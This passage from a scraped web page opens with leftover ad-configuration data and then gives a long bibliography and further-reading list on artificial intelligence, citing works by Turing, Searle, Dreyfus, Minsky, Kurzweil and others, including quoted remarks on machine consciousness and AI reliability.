null,null,[1]]]],[31065951,[[null,1103,null,[null,31065951]],[null,1114,null,[null,0.9]],[null,1110,null,[null,1]],[null,1104,null,[null,100]],[null,1115,null,[null,0.8]],[1121,null,null,[1]],[null,1119,null,[null,300]],[1120,null,null,[1]]]],[31065952,[[null,1103,null,[null,31065952]],[null,1114,null,[null,0.9]],[null,1110,null,[null,5]],[null,1104,null,[null,100]],[null,1115,null,[null,0.8]],[1121,null,null,[1]],[null,1119,null,[null,300]],[1120,null,null,[1]]]],[31065953,[[null,1103,null,[null,31065953]],[null,1114,null,[null,0.9]],[null,1110,null,[null,5]],[null,1111,null,[null,5]],[null,1112,null,[null,5]],[null,1113,null,[null,5]],[null,1104,null,[null,100]],[null,1115,null,[null,0.8]],[1121,null,null,[1]],[null,1119,null,[null,300]],[1120,null,null,[1]]]],[44762492,[[null,1103,null,[null,44762492]],[null,1114,null,[null,0.9]],[null,1104,null,[null,100]],[null,1106,null,[null,10]],[null,1107,null,[null,10]],[null,1105,null,[null,10]],[null,1115,null,[null,-1]],[1121,null,null,[1]],[null,1119,null,[null,300]],[1120,null,null,[1]]]]],[6,null,null,3,null,2],49],[1,[[31066496,[[null,1103,null,[null,31066496]],[1121,null,null,[1]],[null,1119,null,[null,300]]]],[31066497,[[null,1158,null,[null,45]],[null,1157,null,[null,400]],[null,1103,null,[null,31066497]],[null,1114,null,[null,-1]],[null,1104,null,[null,100]],[null,1106,null,[null,10]],[null,1107,null,[null,10]],[null,1105,null,[null,10]],[null,1115,null,[null,-1]],[1121,null,null,[1]],[null,1119,null,[null,300]],[1162,null,null,[1]],[1155,null,null,[1]],[1120,null,null,[1]]]]],null,49],[1000,[[31067051,[[null,null,14,[null,null,\"31067051\"]]],[6,null,null,null,6,null,\"31067051\"]],[31067052,[[null,null,14,[null,null,\"31067052\"]]],[6,null,null,null,6,null,\"31067052\"]]],[4,null,55]],[1000,[[31067063,[[null,null,14,[null,null,\"31067063\"]]],[6,null,null,null,6,null,\"31067063\"]],[31067064,[[null,null,14,[null,null,\"31067064\"]]],[6,null,null,null,6,null,\"31067064\"]]],[4,null,55]],[10,[[31067067],[31067068,[[1148,null,null,[1]]]]]],[1000,[[31067083,[[null,null,14,[null,null,\"31067083\"]]],[6,null,null,null,6,null,\"31067083\"]],[31067084,[[null,null,14,[null,null,\"31067084\"]]],[6,null,null,null,6,null,\"31067084\"]]],[4,null,55]],[1,[[44736076],[44736077,[[null,1046,null,[null,0.1]]]]]],[1,[[44761631,[[null,1103,null,[null,44761631]]]],[44761632,[[null,1103,null,[null,44761632]],[1143,null,null,[1]]]],[44761633,[[null,1142,null,[null,2]],[null,1103,null,[null,44761633]],[null,1119,null,[null,300]],[1120,null,null,[1]]]],[44761634,[[null,1142,null,[null,2]],[null,1103,null,[null,44761634]],[null,1114,null,[null,0.9]],[null,1104,null,[null,100]],[null,1115,null,[null,0.8]],[null,1119,null,[null,300]],[1120,null,null,[1]]]],[44761635,[[null,1142,null,[null,2]],[null,1103,null,[null,44761635]],[null,1114,null,[null,0.9]],[null,1106,null,[null,10]],[null,1115,null,[null,0.8]],[null,1119,null,[null,300]],[1120,null,null,[1]]]],[44761636,[[null,1142,null,[null,2]],[null,1103,null,[null,44761636]],[null,1114,null,[null,0.9]],[null,1107,null,[null,10]],[null,1115,null,[null,0.8]],[null,1119,null,[null,300]],[1120,null,null,[1]]]],[44761637,[[null,1142,null,[null,2]],[null,1103,null,[null,44761637]],[null,1114,null,[null,0.9]],[null,1105,null,[null,10]],[null,1115,null,[null,0.8]],[null,1119,null,[null,300]],[1120,null,null,[1]]]],[44762110,[[null,1142,null,[null,2]],[null,1103,null,[null,44762110]],[null,1114,null,[null,0.9]],[null,1104,null,[null,100]],[null,1115,null,[null,-1]],[null,1119,null,[null,300]],[1120,null,null,[1]]]]],[6,null,null,3,null,2],49],[500,[[44761838,[[null,1142,null,[null,2]],[null,1103,null,[null,44761838]],[null,1114,null,[null,0.9]],[null,1104,null,[null,100]],[null,1115,null,[null,-1]],[null,1119,null,[null,300]],[1120,null,null,[1]]]]],[2,[[6,null,null,3,null,2],[12,null,null,null,2,null,\"smitmehta\\\\.com\/\"]]],49],[null,[[44762338],[44762339,[[380254521,null,null,[1]]]]],[1,[[4,null,63]]],null,null,56],[150,[[31061760],[31063913,[[null,1126,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]],[null,1032,null,[null,200],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,500]]]]]],[31065341,[[1150,null,null,[1]],[null,1126,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]],[null,1032,null,[null,200],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,500]]]]]]],[3,[[4,null,8,null,null,null,null,[\"gmaSdk.getQueryInfo\"]],[4,null,8,null,null,null,null,[\"webkit.messageHandlers.getGmaQueryInfo.postMessage\"]],[4,null,8,null,null,null,null,[\"webkit.messageHandlers.getGmaSig.postMessage\"]]]],15],[50,[[31061761,[[null,1126,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]],[null,1032,null,[null,200],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,500]]]]]],[31062202,[[null,1126,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]],[null,1032,null,[null,200],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,500]]]]]],[31063912],[44756455,[[null,1126,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]],[null,1032,null,[null,200],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,500]]]]]]],[3,[[4,null,8,null,null,null,null,[\"gmaSdk.getQueryInfo\"]],[4,null,8,null,null,null,null,[\"webkit.messageHandlers.getGmaQueryInfo.postMessage\"]],[4,null,8,null,null,null,null,[\"webkit.messageHandlers.getGmaSig.postMessage\"]]]],15],[null,[[31063202,[[null,1126,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]],[null,1032,null,[null,200],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,500]]]]]]],[3,[[4,null,8,null,null,null,null,[\"gmaSdk.getQueryInfo\"]],[4,null,8,null,null,null,null,[\"webkit.messageHandlers.getGmaQueryInfo.postMessage\"]],[4,null,8,null,null,null,null,[\"webkit.messageHandlers.getGmaSig.postMessage\"]]]],15],[null,[[44753753,[[null,1126,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]],[null,1032,null,[null,200],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,500]]]]]]],[3,[[4,null,8,null,null,null,null,[\"gmaSdk.getQueryInfo\"]],[4,null,8,null,null,null,null,[\"webkit.messageHandlers.getGmaQueryInfo.postMessage\"]],[4,null,8,null,null,null,null,[\"webkit.messageHandlers.getGmaSig.postMessage\"]]]],15]]],[20,[[50,[[31062930],[31062931,[[380025941,null,null,[1]]]]],null,null,null,null,null,101,null,102]]],[13,[[10,[[44759847],[44759848,[[1947,null,null,[]]]]]],[10,[[44759849],[44759850]]],[1,[[31065824],[31065825,[[424117738,null,null,[1]]]]]],[10,[[31066184],[31066185,[[436251930,null,null,[1]]]]]],[1000,[[21067496]],[4,null,9,null,null,null,null,[\"document.hasTrustToken\"]]],[1000,[[31060475,null,[2,[[1,[[4,null,9,null,null,null,null,[\"window.PeriodicSyncManager\"]]]],[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]]]]]]],[500,[[31061692],[31061693,[[77,null,null,[1]],[78,null,null,[1]],[85,null,null,[1]],[80,null,null,[1]],[76,null,null,[1]]]]],[4,null,6,null,null,null,null,[\"31061691\"]]],[1,[[31062890],[31062891,[[397841828,null,null,[1]]]]]],[1,[[31062946]],[4,null,27,null,null,null,null,[\"document.prerendering\"]]],[1,[[31062947]],[1,[[4,null,27,null,null,null,null,[\"document.prerendering\"]]]]],[50,[[31064018],[31064019,[[1961,null,null,[1]]]]]],[1,[[31065981,null,[2,[[6,null,null,3,null,0],[12,null,null,null,4,null,\"Chrome\/(9[23456789]|\\\\d{3,})\",[\"navigator.userAgent\"]],[4,null,27,null,null,null,null,[\"crossOriginIsolated\"]]]]]]]]],[11,[[10,[[44760494],[44760495,[[1957,null,null,[1]]]]],null,48],[1,[[44760496],[44760497,[[1957,null,null,[1]]]],[44760498,[[1957,null,null,[1]]]]],null,48],[2,[[44761535],[44761536,[[1957,null,null,[1]],[1963,null,null,[1]]]],[44761537,[[1957,null,null,[1]],[1964,null,null,[1]]]],[44761538,[[1957,null,null,[1]],[1965,null,null,[1]]]],[44761539,[[1957,null,null,[1]]]]],null,48]]],[17,[[10,[[31060047]],null,null,null,44,null,900],[10,[[31060048],[31060049]],null,null,null,null,null,null,null,101],[10,[[31060566]]]]],[12,[[50,[[31061828],[31061829,[[null,1126,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]],[null,1032,null,[null,200],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,500]]]],[360245597,null,null,[1]],[null,494,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]]]],[31065659,[[1150,null,null,[1]],[null,1126,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]],[null,1032,null,[null,10000]],[427841102,null,null,[1]],[360245597,null,null,[1]],[null,494,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]]]],[31065787]],null,15],[20,[[21065724],[21065725,[[203,null,null,[1]]]]],[4,null,9,null,null,null,null,[\"LayoutShift\"]]],[50,[[31060006,null,[2,[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[12,null,null,null,4,null,\"Chrome\/(89|9\\\\d|\\\\d{3,})\",[\"navigator.userAgent\"]],[4,null,9,null,null,null,null,[\"window.PeriodicSyncManager\"]]]]],[31060007,[[1928,null,null,[1]]],[2,[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[12,null,null,null,4,null,\"Chrome\/(89|9\\\\d|\\\\d{3,})\",[\"navigator.userAgent\"]],[4,null,9,null,null,null,null,[\"window.PeriodicSyncManager\"]]]]]],null,21],[10,[[31060032],[31060033,[[1928,null,null,[1]]]]],null,21],[10,[[31061690],[31061691,[[83,null,null,[1]],[84,null,null,[1]]]]]],[1,[[31065721],[31065722,[[432946749,null,null,[1]]]]]]]]],null,null,[0.001,\"1000\",1,\"1000\"]],[null,[]],null,null,1,\"github.com\",309779023,[44759876,44759927,44759842]]");
Aryia-Behroziuan
Asada, M.; Hosoda, K.; Kuniyoshi, Y.; Ishiguro, H.; Inui, T.; Yoshikawa, Y.; Ogino, M.; Yoshida, C. (2009). "Cognitive developmental robotics: a survey". IEEE Transactions on Autonomous Mental Development. 1 (1): 12–34. doi:10.1109/tamd.2009.2021702. S2CID 10168773. "ACM Computing Classification System: Artificial intelligence". ACM. 1998. Archived from the original on 12 October 2007. Retrieved 30 August 2007. Goodman, Joanna (2016). Robots in Law: How Artificial Intelligence is Transforming Legal Services (1st ed.). Ark Group. ISBN 978-1-78358-264-8. Archived from the original on 8 November 2016. Retrieved 7 November 2016. Albus, J. S. (2002). "4-D/RCS: A Reference Model Architecture for Intelligent Unmanned Ground Vehicles" (PDF). In Gerhart, G.; Gunderson, R.; Shoemaker, C. (eds.). Proceedings of the SPIE AeroSense Session on Unmanned Ground Vehicle Technology. Unmanned Ground Vehicle Technology IV. 3693. pp. 11–20. Bibcode:2002SPIE.4715..303A. CiteSeerX 10.1.1.15.14. doi:10.1117/12.474462. S2CID 63339739. Archived from the original (PDF) on 25 July 2004. Aleksander, Igor (1995). Artificial Neuroconsciousness: An Update. IWANN. Archived from the original on 2 March 1997. BibTex Archived 2 March 1997 at the Wayback Machine. Bach, Joscha (2008). "Seven Principles of Synthetic Intelligence". In Wang, Pei; Goertzel, Ben; Franklin, Stan (eds.). Artificial General Intelligence, 2008: Proceedings of the First AGI Conference. IOS Press. pp. 63–74. ISBN 978-1-58603-833-5. Archived from the original on 8 July 2016. Retrieved 16 February 2016. "Robots could demand legal rights". BBC News. 21 December 2006. Archived from the original on 15 October 2019. Retrieved 3 February 2011. Brooks, Rodney (1990). "Elephants Don't Play Chess" (PDF). Robotics and Autonomous Systems. 6 (1–2): 3–15. CiteSeerX 10.1.1.588.7539. doi:10.1016/S0921-8890(05)80025-9. Archived (PDF) from the original on 9 August 2007. Brooks, R. A. (1991). "How to build complete creatures rather than isolated cognitive simulators". In VanLehn, K. (ed.). Architectures for Intelligence. Hillsdale, NJ: Lawrence Erlbaum Associates. pp. 225–239. CiteSeerX 10.1.1.52.9510. Buchanan, Bruce G. (2005). "A (Very) Brief History of Artificial Intelligence" (PDF). AI Magazine: 53–60. Archived from the original (PDF) on 26 September 2007. Butler, Samuel (13 June 1863). "Darwin among the Machines". Letters to the Editor. The Press. Christchurch, New Zealand. Archived from the original on 19 September 2008. Retrieved 16 October 2014 – via Victoria University of Wellington. Clark, Jack (8 December 2015). "Why 2015 Was a Breakthrough Year in Artificial Intelligence". Bloomberg News. Archived from the original on 23 November 2016. Retrieved 23 November 2016. After a half-decade of quiet breakthroughs in artificial intelligence, 2015 has been a landmark year. Computers are smarter and learning faster than ever. "AI set to exceed human brain power". CNN. 26 July 2006. Archived from the original on 19 February 2008. Dennett, Daniel (1991). Consciousness Explained. The Penguin Press. ISBN 978-0-7139-9037-9. Domingos, Pedro (2015). The Master Algorithm: How the Quest for the Ultimate Learning Machine Will Remake Our World. Basic Books. ISBN 978-0-465-06192-1. Dowe, D. L.; Hajek, A. R. (1997). "A computational extension to the Turing Test". Proceedings of the 4th Conference of the Australasian Cognitive Science Society. Archived from the original on 28 June 2011. Dreyfus, Hubert (1972). What Computers Can't Do. New York: MIT Press. ISBN 978-0-06-011082-6. Dreyfus, Hubert; Dreyfus, Stuart (1986). Mind over Machine: The Power of Human Intuition and Expertise in the Era of the Computer. Oxford, UK: Blackwell. ISBN 978-0-02-908060-3. Archived from the original on 26 July 2020. Retrieved 22 August 2020. Dreyfus, Hubert (1992). What Computers Still Can't Do. New York: MIT Press. ISBN 978-0-262-54067-4. Dyson, George (1998). Darwin among the Machines. Allan Lane Science. ISBN 978-0-7382-0030-9. Archived from the original on 26 July 2020. Retrieved 22 August 2020. Edelman, Gerald (23 November 2007). "Gerald Edelman – Neural Darwinism and Brain-based Devices". Talking Robots. Archived from the original on 8 October 2009. Edelson, Edward (1991). The Nervous System. New York: Chelsea House. ISBN 978-0-7910-0464-7. Archived from the original on 26 July 2020. Retrieved 18 November 2019. Fearn, Nicholas (2007). The Latest Answers to the Oldest Questions: A Philosophical Adventure with the World's Greatest Thinkers. New York: Grove Press. ISBN 978-0-8021-1839-4. Gladwell, Malcolm (2005). Blink. New York: Little, Brown and Co. ISBN 978-0-316-17232-5. Gödel, Kurt (1951). Some basic theorems on the foundations of mathematics and their implications. Gibbs Lecture. In Feferman, Solomon, ed. (1995). Kurt Gödel: Collected Works, Vol. III: Unpublished Essays and Lectures. Oxford University Press. pp. 304–23. ISBN 978-0-19-514722-3. Haugeland, John (1985). Artificial Intelligence: The Very Idea. Cambridge, Mass.: MIT Press. ISBN 978-0-262-08153-5. Hawkins, Jeff; Blakeslee, Sandra (2005). On Intelligence. New York, NY: Owl Books. ISBN 978-0-8050-7853-4. Henderson, Mark (24 April 2007). "Human rights for robots? We're getting carried away". The Times Online. London. Archived from the original on 31 May 2014. Retrieved 31 May 2014. Hernandez-Orallo, Jose (2000). "Beyond the Turing Test". Journal of Logic, Language and Information. 9 (4): 447–466. doi:10.1023/A:1008367325700. S2CID 14481982. Hernandez-Orallo, J.; Dowe, D. L. (2010). "Measuring Universal Intelligence: Towards an Anytime Intelligence Test". Artificial Intelligence. 174 (18): 1508–1539. CiteSeerX 10.1.1.295.9079. doi:10.1016/j.artint.2010.09.006. Hinton, G. E. (2007). "Learning multiple layers of representation". Trends in Cognitive Sciences. 11 (10): 428–434. doi:10.1016/j.tics.2007.09.004. PMID 17921042. S2CID 15066318. Hofstadter, Douglas (1979). Gödel, Escher, Bach: an Eternal Golden Braid. New York, NY: Vintage Books. ISBN 978-0-394-74502-2. Holland, John H. (1975). Adaptation in Natural and Artificial Systems. University of Michigan Press. ISBN 978-0-262-58111-0. Archived from the original on 26 July 2020. Retrieved 17 December 2019. Howe, J. (November 1994). "Artificial Intelligence at Edinburgh University: a Perspective". Archived from the original on 15 May 2007. Retrieved 30 August 2007. Hutter, M. (2012). "One Decade of Universal Artificial Intelligence". Theoretical Foundations of Artificial General Intelligence. Atlantis Thinking Machines. 4. pp. 67–88. CiteSeerX 10.1.1.228.8725. doi:10.2991/978-94-91216-62-6_5. ISBN 978-94-91216-61-9. S2CID 8888091. Kahneman, Daniel; Slovic, D.; Tversky, Amos (1982). Judgment under uncertainty: Heuristics and biases. Science. 185. New York: Cambridge University Press. pp. 1124–31. doi:10.1126/science.185.4157.1124. ISBN 978-0-521-28414-1. PMID 17835457. S2CID 143452957. Kaplan, Andreas; Haenlein, Michael (2019). "Siri, Siri in my Hand, who's the Fairest in the Land? On the Interpretations, Illustrations and Implications of Artificial Intelligence". Business Horizons. 62: 15–25. doi:10.1016/j.bushor.2018.08.004. Katz, Yarden (1 November 2012). "Noam Chomsky on Where Artificial Intelligence Went Wrong". The Atlantic. Archived from the original on 28 February 2019. Retrieved 26 October 2014. "Kismet". MIT Artificial Intelligence Laboratory, Humanoid Robotics Group. Archived from the original on 17 October 2014. Retrieved 25 October 2014. Koza, John R. (1992). Genetic Programming (On the Programming of Computers by Means of Natural Selection). MIT Press. Bibcode:1992gppc.book.....K. ISBN 978-0-262-11170-6. Kolata, G. (1982). "How can computers get common sense?". Science. 217 (4566): 1237–1238. Bibcode:1982Sci...217.1237K. doi:10.1126/science.217.4566.1237. PMID 17837639. Kumar, Gulshan; Kumar, Krishan (2012). "The Use of Artificial-Intelligence-Based Ensembles for Intrusion Detection: A Review". Applied Computational Intelligence and Soft Computing. 2012: 1–20. doi:10.1155/2012/850160. Kurzweil, Ray (1999). The Age of Spiritual Machines. Penguin Books. ISBN 978-0-670-88217-5. Kurzweil, Ray (2005). The Singularity is Near. Penguin Books. ISBN 978-0-670-03384-3. Lakoff, George; Núñez, Rafael E. (2000). Where Mathematics Comes From: How the Embodied Mind Brings Mathematics into Being. Basic Books. ISBN 978-0-465-03771-1. Langley, Pat (2011). "The changing science of machine learning". Machine Learning. 82 (3): 275–279. doi:10.1007/s10994-011-5242-y. Law, Diane (June 1994). Searle, Subsymbolic Functionalism and Synthetic Intelligence (Technical report). University of Texas at Austin. p. AI94-222. CiteSeerX 10.1.1.38.8384. Legg, Shane; Hutter, Marcus (15 June 2007). A Collection of Definitions of Intelligence (Technical report). IDSIA. arXiv:0706.3639. Bibcode:2007arXiv0706.3639L. 07-07. Lenat, Douglas; Guha, R. V. (1989). Building Large Knowledge-Based Systems. Addison-Wesley. ISBN 978-0-201-51752-1. Lighthill, James (1973). "Artificial Intelligence: A General Survey". Artificial Intelligence: a paper symposium. Science Research Council. Lucas, John (1961). "Minds, Machines and Gödel". In Anderson, A.R. (ed.). Minds and Machines. Archived from the original on 19 August 2007. Retrieved 30 August 2007. Lungarella, M.; Metta, G.; Pfeifer, R.; Sandini, G. (2003). "Developmental robotics: a survey". Connection Science. 15 (4): 151–190. CiteSeerX 10.1.1.83.7615. doi:10.1080/09540090310001655110. S2CID 1452734. Maker, Meg Houston (2006). "AI@50: AI Past, Present, Future". Dartmouth College. Archived from the original on 3 January 2007. Retrieved 16 October 2008. Markoff, John (16 February 2011). "Computer Wins on 'Jeopardy!': Trivial, It's Not". The New York Times. Archived from the original on 22 October 2014. Retrieved 25 October 2014. McCarthy, John; Minsky, Marvin; Rochester, Nathan; Shannon, Claude (1955). "A Proposal for the Dartmouth Summer Research Project on Artificial Intelligence". Archived from the original on 26 August 2007. Retrieved 30 August 2007.. McCarthy, John; Hayes, P. J. (1969). "Some philosophical problems from the standpoint of artificial intelligence". Machine Intelligence. 4: 463–502. CiteSeerX 10.1.1.85.5082. Archived from the original on 10 August 2007. Retrieved 30 August 2007. McCarthy, John (12 November 2007). "What Is Artificial Intelligence?". Archived from the original on 18 November 2015. Minsky, Marvin (1967). Computation: Finite and Infinite Machines. Englewood Cliffs, N.J.: Prentice-Hall. ISBN 978-0-13-165449-5. Archived from the original on 26 July 2020. Retrieved 18 November 2019. Minsky, Marvin (2006). The Emotion Machine. New York, NY: Simon & Schusterl. ISBN 978-0-7432-7663-4. Moravec, Hans (1988). Mind Children. Harvard University Press. ISBN 978-0-674-57616-2. Archived from the original on 26 July 2020. Retrieved 18 November 2019. Norvig, Peter (25 June 2012). "On Chomsky and the Two Cultures of Statistical Learning". Peter Norvig. Archived from the original on 19 October 2014. NRC (United States National Research Council) (1999). "Developments in Artificial Intelligence". Funding a Revolution: Government Support for Computing Research. National Academy Press. Needham, Joseph (1986). Science and Civilization in China: Volume 2. Caves Books Ltd. Newell, Allen; Simon, H. A. (1976). "Computer Science as Empirical Inquiry: Symbols and Search". Communications of the ACM. 19 (3): 113–126. doi:10.1145/360018.360022.. Nilsson, Nils (1983). "Artificial Intelligence Prepares for 2001" (PDF). AI Magazine. 1 (1). Archived (PDF) from the original on 17 August 2020. Retrieved 22 August 2020. Presidential Address to the Association for the Advancement of Artificial Intelligence. O'Brien, James; Marakas, George (2011). Management Information Systems (10th ed.). McGraw-Hill/Irwin. ISBN 978-0-07-337681-3. O'Connor, Kathleen Malone (1994). "The alchemical creation of life (takwin) and other concepts of Genesis in medieval Islam". University of Pennsylvania: 1–435. Archived from the original on 5 December 2019. Retrieved 27 August 2008. Oudeyer, P-Y. (2010). "On the impact of robotics in behavioral and cognitive sciences: from insect navigation to human cognitive development" (PDF). IEEE Transactions on Autonomous Mental Development. 2 (1): 2–16. doi:10.1109/tamd.2009.2039057. S2CID 6362217. Archived (PDF) from the original on 3 October 2018. Retrieved 4 June 2013. Penrose, Roger (1989). The Emperor's New Mind: Concerning Computer, Minds and The Laws of Physics. Oxford University Press. ISBN 978-0-19-851973-7. Poli, R.; Langdon, W. B.; McPhee, N. F. (2008). A Field Guide to Genetic Programming. Lulu.com. ISBN 978-1-4092-0073-4. Archived from the original on 8 August 2015. Retrieved 21 April 2008 – via gp-field-guide.org.uk. Rajani, Sandeep (2011). "Artificial Intelligence – Man or Machine" (PDF). International Journal of Information Technology and Knowledge Management. 4 (1): 173–176. Archived from the original (PDF) on 18 January 2013. Ronald, E. M. A. and Sipper, M. Intelligence is not enough: On the socialization of talking machines, Minds and Machines Archived 25 July 2020 at the Wayback Machine, vol. 11, no. 4, pp. 567–576, November 2001. Ronald, E. M. A. and Sipper, M. What use is a Turing chatterbox? Archived 25 July 2020 at the Wayback Machine, Communications of the ACM, vol. 43, no. 10, pp. 21–23, October 2000. "Science". August 1982. Archived from the original on 25 July 2020. Retrieved 16 February 2016. Searle, John (1980). "Minds, Brains and Programs" (PDF). Behavioral and Brain Sciences. 3 (3): 417–457. doi:10.1017/S0140525X00005756. Archived (PDF) from the original on 17 March 2019. Retrieved 22 August 2020. Searle, John (1999). Mind, language and society. New York, NY: Basic Books. ISBN 978-0-465-04521-1. OCLC 231867665. Archived from the original on 26 July 2020. Retrieved 22 August 2020. Shapiro, Stuart C. (1992). "Artificial Intelligence". In Shapiro, Stuart C. (ed.). Encyclopedia of Artificial Intelligence (PDF) (2nd ed.). New York: John Wiley. pp. 54–57. ISBN 978-0-471-50306-4. Archived (PDF) from the original on 1 February 2016. Retrieved 29 May 2009. Simon, H. A. (1965). The Shape of Automation for Men and Management. New York: Harper & Row. Archived from the original on 26 July 2020. Retrieved 18 November 2019. Skillings, Jonathan (3 July 2006). "Getting Machines to Think Like Us". cnet. Archived from the original on 16 November 2011. Retrieved 3 February 2011. Solomonoff, Ray (1956). An Inductive Inference Machine (PDF). Dartmouth Summer Research Conference on Artificial Intelligence. Archived (PDF) from the original on 26 April 2011. Retrieved 22 March 2011 – via std.com, pdf scanned copy of the original. Later published as Solomonoff, Ray (1957). "An Inductive Inference Machine". IRE Convention Record. Section on Information Theory, part 2. pp. 56–62. Tao, Jianhua; Tan, Tieniu (2005). Affective Computing and Intelligent Interaction. Affective Computing: A Review. LNCS 3784. Springer. pp. 981–995. doi:10.1007/11573548. Tecuci, Gheorghe (March–April 2012). "Artificial Intelligence". Wiley Interdisciplinary Reviews: Computational Statistics. 4 (2): 168–180. doi:10.1002/wics.200. Thro, Ellen (1993). Robotics: The Marriage of Computers and Machines. New York: Facts on File. ISBN 978-0-8160-2628-9. Archived from the original on 26 July 2020. Retrieved 22 August 2020. Turing, Alan (October 1950), "Computing Machinery and Intelligence", Mind, LIX (236): 433–460, doi:10.1093/mind/LIX.236.433, ISSN 0026-4423. van der Walt, Christiaan; Bernard, Etienne (2006). "Data characteristics that determine classifier performance" (PDF). Archived from the original (PDF) on 25 March 2009. Retrieved 5 August 2009. Vinge, Vernor (1993). "The Coming Technological Singularity: How to Survive in the Post-Human Era". Vision 21: Interdisciplinary Science and Engineering in the Era of Cyberspace: 11. Bibcode:1993vise.nasa...11V. Archived from the original on 1 January 2007. Retrieved 14 November 2011. Wason, P. C.; Shapiro, D. (1966). "Reasoning". In Foss, B. M. (ed.). New horizons in psychology. Harmondsworth: Penguin. Archived from the original on 26 July 2020. Retrieved 18 November 2019. Weizenbaum, Joseph (1976). Computer Power and Human Reason. San Francisco: W.H. Freeman & Company. ISBN 978-0-7167-0464-5. Weng, J.; McClelland; Pentland, A.; Sporns, O.; Stockman, I.; Sur, M.; Thelen, E. (2001). "Autonomous mental development by robots and animals" (PDF). Science. 291 (5504): 599–600. doi:10.1126/science.291.5504.599. PMID 11229402. S2CID 54131797. Archived (PDF) from the original on 4 September 2013. Retrieved 4 June 2013 – via msu.edu. "Applications of AI". www-formal.stanford.edu. Archived from the original on 28 August 2016. Retrieved 25 September 2016. Further reading DH Author, 'Why Are There Still So Many Jobs? The History and Future of Workplace Automation' (2015) 29(3) Journal of Economic Perspectives 3. Boden, Margaret, Mind As Machine, Oxford University Press, 2006. Cukier, Kenneth, "Ready for Robots? How to Think about the Future of AI", Foreign Affairs, vol. 98, no. 4 (July/August 2019), pp. 192–98. George Dyson, historian of computing, writes (in what might be called "Dyson's Law") that "Any system simple enough to be understandable will not be complicated enough to behave intelligently, while any system complicated enough to behave intelligently will be too complicated to understand." (p. 197.) Computer scientist Alex Pentland writes: "Current AI machine-learning algorithms are, at their core, dead simple stupid. They work, but they work by brute force." (p. 198.) Domingos, Pedro, "Our Digital Doubles: AI will serve our species, not control it", Scientific American, vol. 319, no. 3 (September 2018), pp. 88–93. Gopnik, Alison, "Making AI More Human: Artificial intelligence has staged a revival by starting to incorporate what we know about how children learn", Scientific American, vol. 316, no. 6 (June 2017), pp. 60–65. Johnston, John (2008) The Allure of Machinic Life: Cybernetics, Artificial Life, and the New AI, MIT Press. Koch, Christof, "Proust among the Machines", Scientific American, vol. 321, no. 6 (December 2019), pp. 46–49. Christof Koch doubts the possibility of "intelligent" machines attaining consciousness, because "[e]ven the most sophisticated brain simulations are unlikely to produce conscious feelings." (p. 48.) According to Koch, "Whether machines can become sentient [is important] for ethical reasons. If computers experience life through their own senses, they cease to be purely a means to an end determined by their usefulness to... humans. Per GNW [the Global Neuronal Workspace theory], they turn from mere objects into subjects... with a point of view.... Once computers' cognitive abilities rival those of humanity, their impulse to push for legal and political rights will become irresistible – the right not to be deleted, not to have their memories wiped clean, not to suffer pain and degradation. The alternative, embodied by IIT [Integrated Information Theory], is that computers will remain only supersophisticated machinery, ghostlike empty shells, devoid of what we value most: the feeling of life itself." (p. 49.) Marcus, Gary, "Am I Human?: Researchers need new ways to distinguish artificial intelligence from the natural kind", Scientific American, vol. 316, no. 3 (March 2017), pp. 58–63. A stumbling block to AI has been an incapacity for reliable disambiguation. An example is the "pronoun disambiguation problem": a machine has no way of determining to whom or what a pronoun in a sentence refers. (p. 61.) E McGaughey, 'Will Robots Automate Your Job Away? Full Employment, Basic Income, and Economic Democracy' (2018) SSRN, part 2(3) Archived 24 May 2018 at the Wayback Machine. George Musser, "Artificial Imagination: How machines could learn creativity and common sense, among other human qualities", Scientific American, vol. 320, no. 5 (May 2019), pp. 58–63. Myers, Courtney Boyd ed. (2009). "The AI Report" Archived 29 July 2017 at the Wayback Machine. Forbes June 2009 Raphael, Bertram (1976). The Thinking Computer. W.H.Freeman and Company. ISBN 978-0-7167-0723-3. Archived from the original on 26 July 2020. Retrieved 22 August 2020. Scharre, Paul, "Killer Apps: The Real Dangers of an AI Arms Race", Foreign Affairs, vol. 98, no. 3 (May/June 2019), pp. 135–44. "Today's AI technologies are powerful but unreliable. Rules-based systems cannot deal with circumstances their programmers did not anticipate. Learning systems are limited by the data on which they were trained. AI failures have already led to tragedy. Advanced autopilot features in cars, although they perform well in some circumstances, have driven cars without warning into trucks, concrete barriers, and parked cars. In the wrong situation, AI systems go from supersmart to superdumb in an instant. When an enemy is trying to manipulate and hack an AI system, the risks are even greater." (p. 140.) Serenko, Alexander (2010). "The development of an AI journal ranking based on the revealed preference approach" (PDF). Journal of Informetrics. 4 (4): 447–459. doi:10.1016/j.joi.2010.04.001. Archived (PDF) from the original on 4 October 2013. Retrieved 24 August 2013. Serenko, Alexander; Michael Dohan (2011). "Comparing the expert survey and citation 